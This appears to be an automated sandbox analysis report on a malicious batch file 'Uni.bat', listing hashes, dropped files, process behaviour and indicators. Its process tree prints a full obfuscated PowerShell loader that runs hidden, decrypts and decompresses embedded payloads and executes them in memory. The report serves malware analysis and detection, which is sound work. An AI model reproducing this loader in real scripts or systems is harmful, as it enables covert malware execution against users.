Analysis
-
max time kernel
118s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20230712-en -
resource tags
arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system -
submitted
19-07-2023 10:51
Static task
static1
Behavioral task
behavioral1
Sample
Uni.bat
Resource
win7-20230712-en
Behavioral task
behavioral2
Sample
Uni.bat
Resource
win10v2004-20230703-en
General
-
Target
Uni.bat
-
Size
12.6MB
-
MD5
488a8bd72bd92554832ec260181e949b
-
SHA1
459fa680872a35b9186f45d82d29e0d60564fc10
-
SHA256
a5158b467cd4fcb6167f067dccc92bde8a850a486cdb4e29283bf755ab4566f5
-
SHA512
2de3a9d623a833cdbf9e53c59473b1c0b0a051c4e85b5ffcdd905b0af8a68a038864fa4d9d5dc195fe2851bcd1433495b883b7069862791f1242a6a4df466447
-
SSDEEP
49152:Lp2NpugSn0aCmtTHe6yNf0PlKAKLngb17yEo8bb8dSNMPOVnUvso+0L9zaTsGbxk:O
Malware Config
Signatures
-
Executes dropped EXE 1 IoCs
pid Process 2776 Uni.bat.exe -
Loads dropped DLL 1 IoCs
pid Process 2408 cmd.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\$sxr-seroxen2\$sxr-Uni.bat cmd.exe File opened for modification C:\Windows\$sxr-seroxen2\$sxr-Uni.bat cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2776 Uni.bat.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2776 Uni.bat.exe -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 2408 wrote to memory of 2552 2408 cmd.exe 29 PID 2408 wrote to memory of 2552 2408 cmd.exe 29 PID 2408 wrote to memory of 2552 2408 cmd.exe 29 PID 2552 wrote to memory of 2572 2552 net.exe 30 PID 2552 wrote to memory of 2572 2552 net.exe 30 PID 2552 wrote to memory of 2572 2552 net.exe 30 PID 2408 wrote to memory of 2776 2408 cmd.exe 31 PID 2408 wrote to memory of 2776 2408 cmd.exe 31 PID 2408 wrote to memory of 2776 2408 cmd.exe 31
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2408 -
C:\Windows\system32\net.exenet session2⤵
- Suspicious use of WriteProcessMemory
PID:2552 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session3⤵PID:2572
-
-
-
C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe"Uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function oDKRN($UCbcn){ $EBBsx=[System.Security.Cryptography.Aes]::Create(); $EBBsx.Mode=[System.Security.Cryptography.CipherMode]::CBC; $EBBsx.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $EBBsx.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jU/PZ5sGVHXe9eukENZ+EwRCKiahiZSWvpUTt8Zb8+E='); $EBBsx.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Ub/nVYqjjldEJpQEkssoQQ=='); $RKtfb=$EBBsx.CreateDecryptor(); $return_var=$RKtfb.TransformFinalBlock($UCbcn, 0, $UCbcn.Length); $RKtfb.Dispose(); $EBBsx.Dispose(); $return_var;}function FeGSU($UCbcn){ $REgbO=New-Object System.IO.MemoryStream(,$UCbcn); $lpRdy=New-Object System.IO.MemoryStream; $NYxVA=New-Object System.IO.Compression.GZipStream($REgbO, [IO.Compression.CompressionMode]::Decompress); $NYxVA.CopyTo($lpRdy); $NYxVA.Dispose(); $REgbO.Dispose(); $lpRdy.Dispose(); $lpRdy.ToArray();}function aYwhj($UCbcn,$qsjlD){ $CQLXX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$UCbcn); $ROSPE=$CQLXX.EntryPoint; $ROSPE.Invoke($null, $qsjlD);}$wetzf=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($CnUAr in $wetzf) { if ($CnUAr.StartsWith('SEROXEN')) { $aMomv=$CnUAr.Substring(7); break; }}$dMqwU=[string[]]$aMomv.Split('\');$IoPPi=FeGSU (oDKRN ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($dMqwU[0])));$vOmrC=FeGSU (oDKRN ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($dMqwU[1])));aYwhj $vOmrC (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));aYwhj $IoPPi (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2776
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
462KB
MD5852d67a27e454bd389fa7f02a8cbe23f
SHA15330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
-
Filesize
462KB
MD5852d67a27e454bd389fa7f02a8cbe23f
SHA15330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d